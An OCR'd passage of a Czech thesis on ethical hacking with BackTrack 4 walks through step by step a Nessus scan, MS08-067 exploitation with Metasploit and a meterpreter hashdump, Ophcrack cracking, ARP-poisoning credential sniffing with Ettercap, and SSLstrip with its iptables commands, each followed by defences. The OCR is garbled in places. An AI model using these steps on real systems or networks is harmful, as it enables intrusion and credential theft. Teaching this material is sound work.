XP SP1. Tento systém je docela stary a obsahuje fadu bezpe¢nostnich chyb, tento pocitac
si proto zvolime jako cil naseho dalSiho skenovani, poptipadé utoku.
Obrana:
e Firewall, nebo jiné filtrovani provozu na transportni vrstvé
e Aktualizace operac¢niho systému a aplikaci, které by mohli nechéavat oteviené porty
e Honeypot — past na uto¢nika, jedna o nastréeny port, jevici se jako otevieny,
uto¢nik se mu vénuje, ale jeho ¢innost je monitorovana a mize mu byt naptiklad
zamezen pristup

e Zamezenim pfistupu neautorizovanym pocitacim do sité

5.5 Skenovani poc¢itace pomoci Nessus

Program Nessus je dalsi bezpecnostni skener, ktery pouzijeme pii skenovani naSeho
vytipovaného pocitate. Tento ndstroj testuje vzdaleny pocita¢ za ucelem nalezeni
potenciondlnich bezpecnostnich dér. Nessus se sklada ze dvou ¢asti. Tou prvni je démon
nessusd, ktery realizuje vSechny bezpecnostni testy, druhou je pak grafické rozhrani
V internetovém prohlize¢i. Pomoci modulti vyvojafi 1 bézni uzivatelé dopliuji dalsi
bezpecnostni testy.

Postup:

1. Protoze Backtrack4 tento nastroj defaultné neobsahuje, budeme ho muset stdhnout

a nainstalovat. Instala¢ni balic¢ek stahnéte zde:
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http://downloads.nessus.org/nessus3dl.php?file=Nessus-4.4.1-
ubuntul010_i386.deb&licence_accept=yes&t=7e71fb5e546d363a04c3ae4d
0f3d9cf8

2. Pro plnou funkc¢nost vSech pluginii je potieba se zaregistrovat pomoci jména

a e-mailu na strankach spolecnosti, zde:

http://www.nessus.org/ products/nessus/nessus-homefeed

3. Po stazeni do slozky /root vykonejte nésledujici piikaz pro instalaci:

dpkg -1 Nessus-4.4.1-ubuntu1010_i386.deb

4. Pied prvnim spusténim se musi program zaregistrovat pomoci aktivacniho kédu,
ktery vam pftiSel na e-mailovou adresu zadanou pii registraci, registraci provedete

timto ptikazem:

/opt/nessus/bin/nessus-fetch --register 185C-4545-27DD-3F31-532A

5. Dalsim krokem je vytvofeni uzivatele pomoci piikazu:

/opt/nessus/shin/nessus-adduser

root@bt: ~ - Shell - Konsole
Session Edit View Bookmarks Settings Help

t:~# /opt/nessus/shin/nessus-adduser
Login : tester
Login password :
Login password (again)
Do you want this user to be a Nessus 'admin' user ? (can upload plugins, etc...)
(y/n) [n]: vy
User rules

nessusd has a rules system which allows you to restrict the hosts
that tester has the right to test. For instance, you may want
him to be able to scan his own host only.

Please see the nessus-adduser manual for the rules syntax

Enter the rules for this user, and enter a BLANK LINE once you are done :
(the user can have an empty rules set)

Login . tester

Password DORERRRRRRRRK

This user will have 'admin' privileges within the Nessus server
Rules :

Is that ok ? {y/n].[y] y
User added
r SN |

Obr. 17 Vytvoreni uzivatel programu Nessus


http://downloads.nessus.org/nessus3dl.php?file=Nessus-4.4.1-ubuntu1010_i386.deb&licence_accept=yes&t=7e71fb5e546d363a04c3ae4d0f3d9cf8
http://downloads.nessus.org/nessus3dl.php?file=Nessus-4.4.1-ubuntu1010_i386.deb&licence_accept=yes&t=7e71fb5e546d363a04c3ae4d0f3d9cf8
http://downloads.nessus.org/nessus3dl.php?file=Nessus-4.4.1-ubuntu1010_i386.deb&licence_accept=yes&t=7e71fb5e546d363a04c3ae4d0f3d9cf8
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6. Nyni zapnéte nessus démona:

[etc/init.d/nessusd start

7. Serverova ¢ast nessusu, bézi. V internetovém prohlizeci oteviete adresu:

https://localhost:8834/

Pockejte, az vas program vyzve k pfihlaSeni, které provedete pomoci jména a hesla,

které jste zadali pii vytvafeni uzivatele v kroku 5.

8. V zélozce Scans pomoci tlacitka Add vytvoite novy sken. Nazev zadejte libovolny,
Vv roletce Policy vyberte Internal Network Scan a do Scan Target napiste IP adresu
pocitace, ktery chcete testovat, v tomto piipade tedy 10.0.0.67. Skenovani spustite

tla¢itkem Launch Scan.

Reports Scans Policies Users

Name 10.0.0.67
e

Policy Internal Network Scan

LR 10.0.0.67

Cancel Launch Scan

Obr. 18 Vytvoreni skenu v nastroji Nessus

9. Vysledek skenovani si prohlédneme po prepnuti na zalozku Reports.

10.0.0.67 1 results
Host a | Total High Medium Low Open Port
10.0.0.67 G0 19 3 32 ]

Obr. 19 Vysledek testu v Nessusu


https://localhost:8834/
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Jak vidite na obrazku 19 pocitac, ktery jsme si vytipovali na zékladé pouzitého operacniho
systému, ma 19 vysoce, 3 stfedné a 32 nizce hodnocenych bezpecnostnich dér. Nas budou
zajimat pfedevS§im vysoké. VSechny si prohlédneme a z vypisu zjistime, jestli je na tuto

chybu dostupny exploit.

Report Info 10.0.0.67 10.0.0.67 0/tcp = List m Detail 1 results
Hosts . . . " T
Plugin ID: 34477 Port/ Service: generalitcp Severity: High
Ports / Protocals Plugin Name: MS0B-067: Microsoft Windows Server Service Crafted RPG Requsst Handling Remote Code Exscution (358644) (uncredsntialed check)
Synopsis: Arbitrary cade can be executed on the remote host due to a flaw in the
‘Server service.

Description
The remote hast is vulnerable to a buffer overrun in the 'Server

service thal may allow an atiacker to execute arbitrary code on the
remote host with the ‘System’ privileges.

Solution
Microsoft has released a set of patches for Windows 2000, XP, 2003,
Wista and 2008

Download Report hittp:fAnww microsoft. comtechr i in/ms08-067 mspx

Show Filters Risk Factor: Critical
CVss Base Score

Reset Filters 10.0 (CVSS2#AV:NIAC:LIAU:N/C:CII:CIA:C)

Active Filters CVSS Temporal Score

Obr. 20 Detailni popis zranitelnosti v Nessusu

Obrana

e Firewall nebo jiné filtrovani provozu na transportni vrstvé
e Aktualizace operacniho systému a aplikaci, které by mohl nechéavat oteviené porty

e Zamezenim pfistupu neautorizovanym pocitacim do sité

5.6 Exploitace pocitace pomoci Metasploit Framework 3

Metasploit Framework je komplexni bezpe¢nostni nastroj vyuzivany pii penetracnim
testovani. Obsahuje kvalitni Casto aktualizovanou databazi exploiti a payloadl. Zatim

posledni verze obsahuje 690 exploitti a 222 payloadd.
Exploit je kratky program, ktery vyuzije chyby v programu, naptiklad pteteceni zasobniku
a zméni ndvratovou adresu na ur¢eny payload.

Payload po uspé$né exploitaci vykonavéa rtizné ukoly. Napiiklad miize otevfit shell

napadaného pocitace, stahovat soubory, spoustét nebo ukoncovat aplikace a dalsi tkoly.
Postup:

1. Spustte Metasploit Framework (Menu > Backtrack > Penetration > Metasploit
Exploitation Framework > Framework Version 3 > Msfconsole)
2. Diky ptedchozimu skenovani uz mame vytipovany pocita¢é a zname i jeho

bezpecnostni diry. Exploit jednu z téchto zranitelnosti nyni musime najit. Zobrazte
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si tedy seznam vSech exploiti a naleznéte exploit na zranitelnost s oznaenim

MS08-067:

show exploits

B B

. root@bt: /pentest/exploits/framework3 - Shell - Msfconsole
Session Edit View Bookmarks Settings Help

crosoft RRAS Service RASMAN Registry Overflow

windows,/smb/ms@6 | ras 2006-06-13 average
crosoft RRAS Service Overflow

windows,/smb/ms@6 640 netapi 2006-08-08 great
crosoft Se r Service NetpwPathCanonicalize Overflow

windows/smb/ms@6 066 nwapi 2006-11-14 good
crosoft Services MS@6-066 nwapi3z.dll

windows/smb/ms@6 066 nwwks 2006-11-14 good
crosoft Se ces MS@6-066 nwwks.dll

windows,/smb/ms@6 670 wkssvc 2006-11-14 manual
crosoft Workstation vice NetpManageIPCConnect Overflow

windows,/smb/ms@7 629 msdns_zonel 2007-04-12 manual
crosoft DNS RPC Se xtractQuotedChar() Overflow (SMB)

indows/smb/ms@8_067_netapi 2008-10-28

crosoft Server Service Relative Path Stack Corruption

windows,/smb/ms@9 050 smb2 negotiate func_index 2009-09-07 good
crosoft SRV2.SYS SMB Negotiate ProcessID Function Table Dereference

windows,/smb/ms1@ 061 spoolss 2018-09-14 ellent
crosoft Print Spoo ervice Impersonation Vulnerability

windows/smb/netidentity xtierrpcpipe 2009-04-06 great
vell NetIdentity nt XTIERRPCPIPE Named Pipe Buffer Overflow

windows/smb/p C 1999-01-81 manual
crosoft Windows Authenticated User Code Execution

windows/smb/smb relay 2001-083-31
crosoft Windows SM ay Code Execution

windows,/smb/timbuktu_plughntcommand bof 2009-06-25
mbuktu <= 8.6.6 PlughNTCommand Named Pipe Buffer Overflow

windows/smtp/mailcarrier smtp ehlo 2004-10-26

Obr. 21 Vypis exploiti v Metasploit Frameworku 3

3. Exploit jsme nalezli, ma nazev windows/smb/ms08 067 netapi, pouzijeme ho tedy

piikazem:
use windows/smb/ms08 067 _netapi

4. Nyni musime vybrat payload, seznam vSech zobrazime ptikazem:

show payloads
vybereme si napiiklad windows/meterpreter/bind_tcp a pouzijeme:
set payload windows/meterpreter/bind_tcp

5. Exploit i payload je potieba nastavit, zobrazime aktudlni nastaveni:

show options
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@bt: fpantastfaxplmtsfframawnrkB Shell - Msfconsole

msf > use window /ms@8_067 netapi

msf exploit(nm ~tapl) > set payload windows/meterpreter/bind tcp
payload == /meter| /bind tcp

msf exploit(m 2 show options

Module options (exploit/windows/smb/ms@8 067 netapi):

Name Setti ; Description

RHOST ye The target address
RPORT 445 : Set the SMB service port
SMBPIPE BROWSER e The pipe name to use (BROWSER, SRVWSVC)

Payload options (windows/meterpreter/bind tcp):

Name Current Setting Required Description

EXITFUNC g Exit technique: seh, thread, none, process
LPORT 4444 e The listen port
RHOST The target address

Exploit target:
Id Name

® Automatic Targeting

Obr. 22 Vypis nastaveni exploitu a payloadu

6. Jak vidite na obrazku 22 exploit nema nastavenou IP adresu cilového pocitace.
Vse ostatni, co je u tohoto exploitu a payloadu vyzadovano, je pfednastavené.

Nastavime tedy IP adresu nasi obéti:

set rhost 10.0.0.67

7. Spustte exploitaci pfikazem:
exploit

067 i) > set rhost 10.0.0.67
t->100067
7 i) > exploit

Started bind handler
Automatically detecting the target...

Fingerprint: Windows XP - Service Pack © / 1 - lang:English

Selected Target: Windows XP SPO/SP1 Universal

Attempting to trigger the vulnerability...

Sending stage (749056 bytes) to 10.0.0.67

Meterpreter session 1 opened (10.0.0.64:38700 -> 10.0.0.67:4444) at Wed May 25 17:02:13 +020

Obr. 23 Uspésna exploitace Metasploit Frameworkem 3

8. Exploitace probé&hla tspésné a payload navazal spojeni. Nyni mame kontrolu nad

pocitatem. Pokusime se ziskat hashdump pro zjisténi hesel k uctim:

Hasdump
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meterpreter > hashdump

Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cTe0d16ae931b73c59d7e0c089cO: : :
HelpAssistant:1000:dffa4d31142493ff2d78ab4100dcfO1f:eb8beeellcffa

SUPPORT_388945a0: 1002 :aad3b435b51404eeaad3b435b51 3b7cb35ebc
test:1003:6T9877da79687b4daad3b435b51 37178edcbe6d1667T8bO
4: a21990fcd3d759941e

Obr. 24 Vypis hashdump
Na obrazku 24 vidime, Ze payload vypsal hashe hesel jednotlivych ucth, které pouzijeme
Vv dalsi ¢asti.
Diky informacim ziskanym b&hem skenovani pfed utokem, jsme celkem snadno ziskali

kontrolu nad vzdalenym pocitacem, kterou je mozné vyuzit pro sledovani uzivatele, jeho
poskozeni nebo zajisténi dalSich ptistupu pomoci backdooru.
Obrana
e Firewall
e Aktualizace operacniho systému a aplikaci, které by mohly obsahovat bezpecnostni
diry

e Zamezenim piistupu neautorizovanym pocitaciim do sité

5.7 Cracking hesla pomoci Ophcrack

Ophcrack je Windows password cracker zaloZeny na technice prolamovani hesel pomoci
rainbow tables. Dokaze ziskat heslo s hashe Windows XP a Vista. Diky grafickému

rozhrani préci s timto programem zvladne kazdy.

Hashe jsme ziskali pii utoku na vzdaleny pocita¢ pomoci Metasploit Frameworku 3, nyni

tedy ziskdme samotna hesla uZivatelli napadeného pocitace.

Postup:

1. Spustte program Ophcrack GUI (Menu > Backtrack > Privilege Escalation >
PasswordAttacks > OfflineAttacks > Ophcrack GUI)
2. Backtrack4 neobsahuje zddné rainbow tabulky, musime je tedy stdhnout naptiklad

zde:

http://ophcrack.sourceforge.net/tables.php


http://ophcrack.sourceforge.net/tables.php

UTB ve Zliné, Fakulta aplikované informatiky, 2010 54

3. Instalaci do programu proved’te kliknutim na tlacitko Tables, poté si vybereme
tabulku, kterou jsme stahli a stisknéte Install, najdéte slozku s tabulkami a vyberte.
U nainstalované tabulky bude svitit zelené kolecko.

4. Zmacknéte tlacitko Load a vyberte Single hash. Do piipraveného pole vlozte jeden

radek Z vypisu hashdumpu, napf.
test1:1004:aebd4de384c7ec43aad3bh435b51404ee:7a21990fcd3d759941e45¢c490f14
3d5f:::

Ge ok _____=aw
D 0 & v » 0 @ [ 0s

Load = Delete Save _ Tables Crack Help Exit About

Progress | Statistics | Preferences |

‘ User | LM Hash | NT Hash | LM Pwd 1 | LM Pwd 2 | NT Pwd ‘
test 6f9877da79... 37178edche... empty
testl aebd4de38... 7a21990fcd... empty h

Load| Single Hash

T L TTCOT  § a TWAT T 0 O a1 11 0T o e o T s 1 T OO [ [T T B

formats are:

Table | | |<LMHash> |

<LM Hash>:<NT Hash>
<User Names:<User ID>:<LM Hash>:<NT Hash>::: (PWDUMP
format)

|c?eo433.ad3b435 b51404ee:7a21990fcd3d759941e45¢490f143d5f::: ‘

(oK ) [ omal

Preload: Brute force: Pwd found: Time elapsed: | Oh Om 26s

Obr. 25 Pridani hashe do Ophcracku
5. Hledat heslo za¢ne program po stisknuti tla¢itka Crack. Pokud uzivatel nema heslo
prilis slozité, mélo by se po chvili objevit. Pokud ne, miizete zkusit pouzit jiné

rainbow tabulky.
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) % c
D 0 & v e @ @
Load = Delete Save ~ Tables  Crack Help Exit About
Progress I Statistics | Preferenoes]
User | LM Hash | NT Hash | tMPwd1 | LMPwd2 | NTPwd
test 6f9877da79687bddaad3b435b51404ee 37178edchebd1667f8b054eee272a714 HESLO12 empty
testl aebd4de384cTecd3aad3b435b51404ee 7a21990fcd3d759941e45c490f143d5f 12345 empty
- Man
Table Directory | Status Progress ‘
© o XPfre... frootflables_.. 100%in RAM [
@ tabl.. 100% in RAM |5
@ tabl... 100% in RN 5
@ tabl... 100% in RAM |5
@ tabl... 100%in RAM |
Preload: Brute force: Pwd found: 22 Time elapsed: OhOm 41s

Obr. 26 Vylusténé hesla programem Ophcrack

Obrana

e Pouziti silnych hesel (tj. delsi nez 14znaki, kombinace malych a velkych pismen,

¢isel a specialnich znaki, nemélo by se jednat o skute¢na slova)

5.8 Ziskavani hesel pomoci odposlechu sit’ového provozu

Odposlouchavani budeme provadét pomoci LAN snifferu Ettercap NG, ktery je jednim

Z nejpouzivangjSich programi ke sniffingu, ovladatelny pies grafické rozhrani. Pomoci 4

druhd Man in the midlle utoku dokaze zachytavat hesla z fady protokolu (ftp, http, icq,

pop3, telnet, https). Aplikace kromé& odposlechu sitového provozu dokaze taky aktivné

zasahovat do probihajici komunikace bez preruseni spojeni. V této ukdzce si ale pouze

ukazeme zachytavani hesel z http, https a ftp protokolu.

Prvnim krokem, nezbytnym k odchyceni dat, je pfipojeni se do cilové sit€. Nezalezi na

tom, zda jde o sit’ dratovou, ¢i bezdratovou, postup je pfiblizné€ stejny. U bezdratovych siti

je vSak nutné mit dostatecné silny signal, ktery umozni bezproblémové zachytavani pakett.

Pokud je ptistup do bezdratové sit¢ chranén heslem, je potteba nejdiiv zjistit heslo.

Postup:

1. Spust'te program Ettercap NG (Menu > Backtrack > Privilege Escalation > Sniffers

> Ettercap-GTK).
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2. Spust'te Unified sniffing

ettercap NG-0.7.3

QOptions  Help
B unified sniffing...  shift+u

Bridged sniffing... Shift+B

“4 Set pcap filter. .. p

Obr. 27 Ettercap NG

3. Vyberete sitové rozhrani. U kabelového ptipojeni obvykle ethO.

4. V zalozce Hosts vybere Scan for Hosts, program vyhleda sitové zafizeni v Siti.
Seznam zobrazite polozkou Hosts list.

5. V seznamu vyberte fadek s IP adresou obéti a zvolte Add to Target 1. Poté vyberte

fadek s IP adresou routeru a zvolte Add to Target 2.

ettercap NG-0.7.3

Start Targets Hosts Wiew Mitm  Filters Logging Plugins Help

Host List X

IP Address | MAC Address Description
10.0.0.21 D4:64:40:06:3A:9A
10.0.0.100 00:1E:BC:63:10:CE
10.0.0.137 00:15:F2:AE:DE:S6

10.0.0.138 00:13:64:30:B4.6B
10.0.0.141 00:1B:77:B5:30:29

Delete Host I Add to Target 1 I Add to Target 2 ]

1698 tcp OS fingerprint (=
2183 known services

Randomizing 255 hosts for scanning...

Scanning the whole netmask for 255 hosts...

5 hosts added to the hosts list...

Host 10.0.0.100 added to TARGET1

Host 10.0.0.138 added to TARGET2

Obr. 28 Nastaveni cilii pro odposlech programem ettercap NG
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6. V menu pod polozkou Mitm vyberte Arp poisoning. Poté zaskrtnéte Sniff remote
connections.

7. Poslednim krokem k zahajeni utoku je vybrani polozky Start sniffing v menu Start.

8. Nyni uz jen musite ¢ekat, kdy se obét’ piihlasi na néjaké internetové stranky.
Usp&sné zachycené heslo a piihlasovaci jméno se spoleéné s internetovou adresou
vypise ve spodnim okné aplikace. Na obrazku 29 vidime uspésné zachycena hesla

ze http://seznam.cz, https://google.com, http://facebook.com a ftp.

1L ]
S TS0 dUUEU LU CITE TTUS0S 150, B

Host 10.0.0.100 added to TARGET1
Host 10.0.0.138 added to TARGET2

ARP poisoning victims:

GROUP 1:10,0.0,100 00:1E:8C:63:10:CE

GROUP 2 :10.0.0.138 00:13:64:30:B4:6B
Starting Unified sniffing...
HTTP : 77.75.76.55:443 -> USER: jmeno PASS: heslo INFO: http:fflogin.szn.cz/?

badLogin=1&lang=cz&username=jmeno&domain=seznam.cz&returnURL=http:/femail.seznam.cz/
ticket&remember=08&changelUnable=08&forceSSL=0&

HTTP : 209.85.148.99:443 -> USER: jmeno PASS: heslo INFO: https:ffwww.google.com/faccounts/ServiceLogin?
service=mail&passive=true&rm=false&continue=http:f/mail.google.comjmail/?ui=html&zy=1&bsv=Ilya694le36z &s
HTTP : 66.220.158.11:443 -> USER: jmeno PASS: heslo INFO: http:jwww.facebook.com/

FTP : 88.86.103.249:21 -> USER: jmeno PASS: heslo

Obr. 29 Vypis zachycenych hesel ettercapem NG
Problémem této metody je, Ze program podstrci uZivateli vlastni certifikat u https spojeni,
na coz jej prohlize¢ upozorni. U starSich prohlizecii to nebyl problém, protoze jen
ozndmily neplatny certifikat a béZny uzivatel intuitivné odklikl, ze chce pokraovat. Nové
moderni prohlizece tento systém oznamovani zménily a davaji uzivateli vice najevo, ze se
muze dostat na podvodny web nebo byt v jiném ohrozeni. UZivatel tak miZe kontaktovat

spravce sité nebo jinak fesit tento problém a utok, tak miize byt netispésny.

Jak zachytavat hesla se zabezpecené komunikace, jen s minimem varovnych piiznakil si

ukazeme dale.
Obrana:

e Pouziti statickych ARP zaznami na urovni sitové vrstvy

e Detekce otraveni ARP tabulky, napt. programem ettercap NG
e Pouziti IDS (Intrusion Detection Systém)

e Pouziti zabezpeceného https protokolu

e Pouziti modernich internetovych prohlizec¢t


http://seznam.cz/
https://google.com/
http://facebook.com/
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5.9 Ziskavani hesel pomoci odposlechu Sifrovaného sitového provozu

Jak uz jsme si ukézali v pfedchozi kapitole, ziskavani hesel je pomérné jednoduchy utok.
Problém nastava, kdyz wuzivatel pfistupuje na internetové stranky, které pouzivaji
Sifrovanou komunikaci pomoci SSL, prohlize¢ wuzivatele upozorni na problém

s certifikatem.

Vyiesit tento problém nam pomuize vyiesit nastroj SSLstrip. Tento program béhem Man in
the middle utoku, ktery stejné jako u pfedchozi metody provaddime pomoci Ettercapu,
nahrazuje https odkazy za http. Komunikace mezi utoénikem a obéti probiha
nezabezpecenym protokolem http a komunikace mezi uto¢nikem a cilovym server ptes
pivodni zabezpeceny https. Dojem bezpeéného piipojeni se snazi vyvolat podstréenim

ikony ,,zdmecku* uzivateli.

Obr. 30 Schéma funkce SSLstrip

Postup:
1. Piepnéte pocita¢ do forwarding modu:
echo 1 > /proc/sys/net/ipva/ip_forward

2. Nastavte iptables na pfesmérovani http provozu do sslstripu:

sudo iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j
REDIRECT --to-ports 10000

3. Spust'te SSLstrip:

sslstrip -k -f
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root@bt: ~ - Shell No. 2 - Koensole
Session Edit View Bookmarks Settings Help

i~# echo 1 = /proc/sys/net/ipv4/ip_forward

:~# sudo iptables -t nat -A PREROUTING -p tcp --destinatien-port 88 -j REDIRECT --to
-ports 10008

~# sslstrip -k -f

sslstrip 0.6 by Moxie Marlinspike running...

Obr. 31 Nastaveni pocitace a spusténi SSLstripu

4. Dalsi postup je stejny jako v krocich 1. — 7. u pfedchozi metody.

5. Nyni uz jen musite c¢ekat, kdy se obét’ piihlasi na n¢jaké internetové stranky.
Uspé&sné zachycené heslo a piihlasovaci jméno se spoleéné s internetovou adresou
vypise ve spodnim okné aplikace. Na obrazku 32 vidime uspésné zachycena hesla
ze http://seznam.cz, http://google.com a http://paypal.com. Prohlize¢ obéti pfitom
neoznamuje zadnou chybu certifikdtu a zaroven, jak mizete vidét na obrazku 33,
zobrazuje uzivateli ikonu zamku, kterd znaci bezpecné spojeni. Pfihlasovaci udaje
lze rovnéz naleznout v souboru ,sslstrip.log®, ktery SSLstrip vytvoii ve slozce

[root.

L = = ca )
Host 10.0.0.100 added to TARGET1 T
Host 10.0.0.138 added to TARGET2

ARP poisoning wvictims:
GROUP 1:10.0.0.100 00:1E:8C:53:10:CE

GROUP 2 :10.0.0.138 00:13:64:30:B4:6B
Starting Unified sniffing...

HTTP : 77.75.76.55:80 -> USER: jmeno PASS: heslo INFO: http:/fwww.seznam.cz/

HTTP : 209.85.148.104:80 -> USER: jmeno PASS: heslo INFO: http:ffwww.google.com/faccounts/ServiceLogin?
passive=1209600&continue=https:jwww.google.com/accounts/ManageAccount&followup=https:/fwww.google.comjac

HTTP : 64.4.241.33:80 -> USER: jmeno PASS: heslo INFO: http:/fwww.paypal.com/fcz -

Obr. 32 Vypis zachycenych hesel ettercapem NG pii spusténém SSLstripu

[£=) Gmail - Dorudend posta (198) - '»'e;el}flﬁ...l + .

P [F2 httpi//mail.google.com/mail/?shva=1#inbox

Obr. 33 Zabezpecené piipojeni
Obrana:
e Pouziti statickych ARP zdznamt na Grovni sitové vrstvy

e Detekce otraveni ARP tabulky, napf. programem ettercap NG

e Pouziti IDS (Intrusion Detection Systém)


http://seznam.cz/
http://google.com/
http://paypal.com/
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6 BEZPECNOSTNI TEST WEBOVE APLIKACE POMOCI W3AF

Posledni ukolem praktické Casti, bude bezpecnostni test webové aplikace a v piipadé

nalezeni zranitelnosti, jeji exploitace opét v opera¢nim systému BackTrack 4 r2,

W3AF je framework na testovani Utokd a provadéni auditi proti webovym aplikacim.
Cilem projektu je vytvorit framework, ktery najde a exploituje chyby a zranitelnosti ve
webovych aplikacich. K dispozici je velkd fada plugini pro nejriznéjsi typy testi.
K dispozici je i grafické rozhrani pro jednodussi ovladani. Program obsahuje mnozstvi

exploitt, kterymi muze uzivatel ihned ovéEfit nalezenou zranitelnost.
Postup:

1. Pro funk¢nost grafického rozhrani v BackTracku4, musime nainstalovat dva

balicky:

apt-get install python-Ixml
apt-get install python-gtksourceview?2

2. Spust'te w3af (Menu > Backtrack > Web Application Analysis > Web (frontend) >
W3AF (GUI))

3. Do pole Target napiste adresu webu, ktery chcete testovat. Vyberte profil, nebo
sami zvolte pluginy, které¢ budou pouzity v testu. Testovani spustite tlacitkem

Start.
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w3af - Web Application Attack and Audit Framework

Profiles  Edit Tools Configuration Help

plE@a > e SN QR

Scan ccnf‘igl | | ]

Profiles Target: Ihttp:ﬂ\nrww.fai.utb.cz| ] [Startl []

empty_profile Plugin

audit_high_risk P bruteforce

bruteforce 4 discovery

fast_scan b evasion

full_audit B grep

full_audit_manual_disc P mangle

sitemap

web_infrastructure
(0 =R (1) Audit plugins use the knowledge created by discowvery plugins to
Plugin |Active | find vulnerabilities on the remote web application and web server.
b output []
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Obr. 34 Nastaveni testu w3af

Jak vidite na obrazku 34, zvolil jsem profil OWASP_TOP 10 pro testovani
internetovych stranek fakulty (http://fai.utb.cz). Tento profil je vytvoien
celosvétovou organizaci zaméfenou na bezpe¢nost aplikaci. Vyhledava 10

nejcastejSich bezpecnostnich chyb.

4. Po spusténi testu mizete v zalozce Log vidét vypis zranitelnosti, informaci a chyb.
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w3af - www.fai.utb.cz

Profiles Tools Configuration Help

ol A B om| @ X G A K o
[Scan config ” LOQI Results| Exploit]
(% vulnerabilities (% Information (%] Error
universit;‘-zlin". ' ' i B

[Wed May 25 20:15:07 2011] The mail account: "chramcov@fai.utb.cz" was found in: "http:jjwseas-
csce.blogspot.comf2011/05/wseas-transactions_13.html".

[Wed May 25 20:15:07 2011] The mail account: "jasek@fai.utb.cz" was found in: "http:jjwseas-csce.blogspot.com/2011/05/
wseas-transactions_13.html",

[Wed May 25 20:15:07 2011] The mail account: "horakeva@rektorat.uth.cz" was found in: "http:/pipl.com/directory/

people/ZuzanafHorakova".

[Wed May 25 20:15:07 2011] The mail account: "losek@flkr.utb.cz" was found in: "http jfwww.mestopv.cz/cz/obcan/skolstvi-
kultura-sportjuniverzita-tomase-bati-detasovane-pracoviste-prostejov/",

[Wed May 25 20:15:07 2011] The mail account: "bartosikova@fame.utb.cz" was found in: "http:/jwww.ysokeskoly.com/
vysoke-skaoly-1funiverzita-tomase-bati-ve-zline-utb". -

_ Discovery progress: 14.64 % - ETA: 00d 00h 08m 08s l

Running discovery.detectTransparentProxy on http:/jwww.fai.utb.cz | Method: GET.

Wulns

Info~{ =

Debug'q T T T T T [s]

T T T T
0.00 10.76 Al =] 32.45 43.21 54.13 64.90 73.66 86.58 97.34

[ | @a0s Ao =0

Obr. 35 Vypis informaci o testu w3af

5. V zalozce Exploit, naleznete seznam zranitelnosti, které miizete ihned otestovat.

Vyberte zranitelnost a exploitaci spust'te tla¢itkem s ozubenymi kolecky.

Profiles Wiew Tools Configuration Help
‘ = =
@ @a 0O n|® &N g a0 K o5

Scan conﬁgl Log | Results ” Exploit‘

Exploits | Vulnerabilities | Shells
davshell 4\ Cross site tracing vulnerability ‘

ocooo

eval A\ shared hosting

fileUploadshell Multiple Exploit! JEE
localFileReader 0 vulnerabilites to exploit Bj
osCommandingShell Exploiting 'MfiProxy...

remotefileincludeshell 0 wulnerabilites to exploit I
rfiProxy Exploiting 'sgl_webshell"...

e 0 vulnerabilites to exploit

sglmap Exploiting 'sglmap'...

xssBeef 0 vulnerabilites to exploit

Exploiting 'xssBeef'...

0 vulnerabilites to exploit
Done -
- [es' functionality
mplemented
OK he future,

| @asz Az =o

Obr. 36 Neuspésna exploitace nalezenych zranitelnosti
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Obrazek 36 ukazuje, ze ani jedna z nalezenych =zranitelnosti, neni napadnutelna
vestavénymi exploity. Vysledkem tohoto testu je tedy, ze strdnky Fakulty aplikované

informatiky jsou bezpecné.

Obrana:

e Pouziti modernich internetovych prohlizect

e Spravné oSetfeni vstupu aplikace programétorem
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ZAVER

Hacking neni jen o nelegalnim ziskavani informaci, jak byva ¢asto vniman, ale miize byt
nasazen jako rozhodujici prostiedek pro zvySeni bezpeCnosti informacnich ¢i jinych
systéml nebo Siroké vefejnosti. Problematika hackingu je velmi zajimavy pfedmét, pti
kterém je potieba pochopit motiv Gtocnikl. Vyuziti internetovych technologii, systému a
aplikaci se stale zvétSuje a s tim i kriminalita v této oblasti. Pro kazdou organizaci, by mélo
byt samoziejmosti zapojeni bezpecnostnich expertt, kteti budou provadét eticky hacking,
aby odhalili vSechny chyby a identifikovali slaba mista diive, nez je vyuziji utoc¢nici
Kk proniknuti do jejich pocitatovych a informacnich systémut. Hackerské nastroje a postupy
se vyvijeji rychlym tempem, stejné jako pouZzivané technologie, proto by se penetracni
testy provadéné odborniky mély periodicky opakovat a tim i udrZzovat vysoky standart

bezpecnosti.

V teoretické ¢asti této diplomové prace, jsem se snazil ¢tenafi objasnit divody, které vedou
nebo by mély vést firmy k zavedeni etického hackovani svych pocitacovych siti a
informacnich systémil. Popsal jsem v obecné roviné penetracni testovani, jaké jsou jeho
typy, jakymi fazemi probiha typicky test, co miize byt jeho pfedmétem a jaka jsou kritéria
pro uspesné ukonceni. Zminil jsem metodiky provadéni penetracnich testli vypracované
bezpe¢nostnimi organizacemi. Ddle jsem nastinil definici informace, informacniho
systému a jeho ulohy. Popsal jsem ¢ast nastroji a technik pouZivanych hackery k ttokim
na pocitacové systémy, sité a aplikace. Nakonec zmiiiuji statistiku zranitelnosti webovych

aplikaci organizace WASC.

V praktické ¢asti, jsem si dal za cil prinik do doméaci bezdratové sité, ktera je zabezpecena
diky WPA. Po uspésném priniku provést priizkum sité, s cilem naleznout potencionalné
zranitelné pocitace, tuto jejich zranitelnost potvrdit a pokusit se ji vyuzit pro exploitaci
tohoto cile vedouci k jeho plné kontrole. Dale odposlechem sitové komunikace zjistit hesla
K internetovym sluzbam. Tyto cile se mi pomoci specialni Linuxové distribuce BackTrack
4 12, ktera je urCena k penetracnim testim a bezpeCnostnim auditim, podatilo splnit. Tak
jsem je mohl popsat formou detailniho navodu, jak postupovat. Navrhnul jsem i zakladni
protiopatfeni. V zavéru jsem provedl uspéSny penetracni test webové prezentace Fakulty
aplikované informatiky, protoze dv€ nalezené zranitelnosti, nebylo mozné vyuzit

k exploitaci.
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Pred vypracovanim této prace, kdy jsem nemél zadné velké znalosti ohledné pocitacovych
utokd, jsem mél dojem bezpeci jak na internetu, tak i v domaci siti. OvSem vysledky
dosazen¢ v praktické casti, mé tohoto pocitu rychle zbavily. Doufam, ze ma prace
presvédcila vSechny Ctenafe, aby se také zacali vice zajimat o svou kybernetickou

bezpecnost jako ja, protoze skute¢ni Gtocnici nikdy nespi.
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ZAVER V ANGLICTINE

Hacking is not just about obtaining illegal information, as is generally meant, but can be
deployed as a crucial means of improving the security of information systems, or the
general public. The issue of hacking is a very interesting topic in which it is necessary to
understand the motive of the attackers. Using of internet technologies, systems and
applications is increasing as well as crime in this area. Participation of security experts
performing ethical hacking should be obvious for each company to discover all errors and
identify vulnerabilities before they will be abused for penetration their computer and
